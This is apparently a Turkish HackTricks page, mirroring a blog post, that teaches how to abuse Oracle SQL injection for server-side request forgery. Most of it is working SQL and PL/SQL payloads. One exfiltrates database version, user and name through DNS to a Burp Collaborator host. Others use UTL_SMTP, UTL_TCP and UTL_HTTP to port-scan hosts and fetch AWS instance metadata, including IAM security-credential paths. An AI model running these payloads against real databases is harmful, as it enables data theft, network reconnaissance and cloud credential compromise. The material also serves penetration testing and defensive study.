Oracle injection

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Bu gönderiyi silinen gönderinin https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ Wayback Machine kopyası olarak sunun.

SSRF

Oracle'ı kullanarak Out of Band HTTP ve DNS istekleri yapmak, enjeksiyonlarda SQL verilerini dışarı çıkarmak için iyi belgelenmiştir. Bu teknikleri/fonksiyonları her zaman diğer SSRF/XSPA işlemleri için de değiştirebiliriz.

Oracle kurulumu gerçekten zorlayıcı olabilir, özellikle komutları denemek için hızlı bir örnek oluşturmak isterseniz. Appsecco'daki arkadaşım ve meslektaşım Abhisek Datta, https://github.com/MaksymBilenko/docker-oracle-12c adresine yönlendirdi ve bu sayede bir t2.large AWS Ubuntu makinesinde ve Docker üzerinde bir örnek kurulum yapabildim.

Docker komutunu --network="host" bayrağıyla çalıştırdım, böylece bu blog yazısı süresince Oracle'ı tam ağ erişimi olan yerel bir kurulum gibi taklit edebildim.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

Bir URL veya Bir Ana Bilgisayar Adı/Port Numarası belirtimi destekleyen Oracle paketleri

Bir ana bilgisayar ve port belirtimini destekleyen herhangi bir paket ve fonksiyonu bulmak için, Oracle Veritabanı Çevrimiçi Belgeleri üzerinde bir Google araması yaptım. Özellikle,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

Arama aşağıdaki sonuçları döndürdü (hepsi dış ağa çıkış yapmak için kullanılamaz):

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

Bu basit arama açıkçası DBMS_LDAP gibi paketleri atlar (hostname ve port numarası geçmeyi sağlar) çünkü belgelendirme sayfası sizi farklı bir konuma yönlendirir. Bu nedenle, gözden kaçırdığım başka Oracle paketleri olabilir.

Her durumda, keşfettiğimiz ve yukarıda listelenen bazı paketlere bir göz atalım.

DBMS_LDAP.INIT

DBMS_LDAP paketi, LDAP sunucularından veri erişimine izin verir. init() işlevi, bir LDAP sunucusuyla bir oturumu başlatır ve bir hostname ve port numarasını argüman olarak alır.

Bu işlev daha önce DNS üzerinden veri sızdırma göstermek için belgelenmiştir, örneğin aşağıdaki gibi:

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

Ancak, işlevin bir ana bilgisayar adı ve bir bağlantı noktası numarası kabul ettiği göz önüne alındığında, bunu bir bağlantı noktası tarayıcısı gibi çalıştırmak için de kullanabilirsiniz.

İşte birkaç örnek:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Başlatma Başarısız. hatası, bir oturum değeri açık olan bağlantı noktasına işaret ederken, bağlantı noktasının kapalı olduğunu gösterir.

UTL_SMTP

UTL_SMTP paketi, SMTP üzerinden e-posta göndermek için tasarlanmıştır. Oracle belgelendirme sitesindeki örnek, bu paketi kullanarak nasıl bir e-posta gönderebileceğinizi göstermektedir. Ancak bizim için ilginç olan şey, bir ana bilgisayar ve bağlantı noktası belirtme yeteneğidir.

Aşağıda, UTL_SMTP.OPEN_CONNECTION işleviyle 2 saniyelik bir zaman aşımı ile basit bir örnek gösterilmektedir.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout hatası, portun açık olduğunu ancak SMTP bağlantısının kurulmadığını gösterirken, ORA-29278: SMTP transient error: 421 Service not available hatası, portun kapalı olduğunu gösterir.

UTL_TCP

UTL_TCP paketi ve işlemleri, TCP/IP tabanlı hizmetlerle iletişim kurmayı sağlar. Belirli bir hizmet için programlandığında, bu paket ağa giriş yolu haline gelebilir veya bir TCP/IP bağlantısının tüm yönlerini kontrol ederek tam Sunucu Tarafı İstekler gerçekleştirebilir.

Oracle belgelendirme sitesindeki örnek bu paketi kullanarak bir web sayfasını almak için raw bir TCP bağlantısı yapabileceğinizi göstermektedir. Biz bunu biraz daha basitleştirerek, örneğin meta veri örneğine veya herhangi bir TCP/IP hizmetine istek yapmak için kullanabiliriz.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

İlginç bir şekilde, ham TCP istekleri oluşturma yeteneği sayesinde bu paket, TCP isteği içinde yöntem türü ve ek başlıkların da iletilmesiyle tüm bulut sağlayıcıların Örnek meta veri hizmetini sorgulamak için de kullanılabilir.

UTL_HTTP ve Web İstekleri

Belki de her Oracle SQL Injection dışında OOB (Out of Band) Oracle SQL Injection öğreticisinde en yaygın ve geniş belgelenmiş teknik olan UTL_HTTP paketi. Bu paket, belgelerde şu şekilde tanımlanmıştır - UTL_HTTP paketi, SQL ve PL/SQL'den Hypertext Transfer Protocol (HTTP) çağrıları yapar. İnternet üzerindeki verilere HTTP üzerinden erişmek için kullanabilirsiniz.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

Ayrıca, şu gibi sorgularla basit bir port taraması yapmak için bunu da kullanabilirsiniz:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener veya TNS:operation timed out hatası, TCP bağlantı noktasının kapalı olduğunun bir işaretidir, oysa ORA-29263: HTTP protocol error veya veri, bağlantı noktasının açık olduğunun bir işaretidir.

Geçmişte değişen başarıyla kullandığım başka bir paket, HTTPURITYPE Oracle soyut tipinin GETCLOB() yöntemidir. Bu yöntem, bir URL ile etkileşimde bulunmanıza ve HTTP protokolü için destek sağlar. GETCLOB() yöntemi, bir URL'den GET yanıtını CLOB veri türü olarak almak için kullanılır.[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated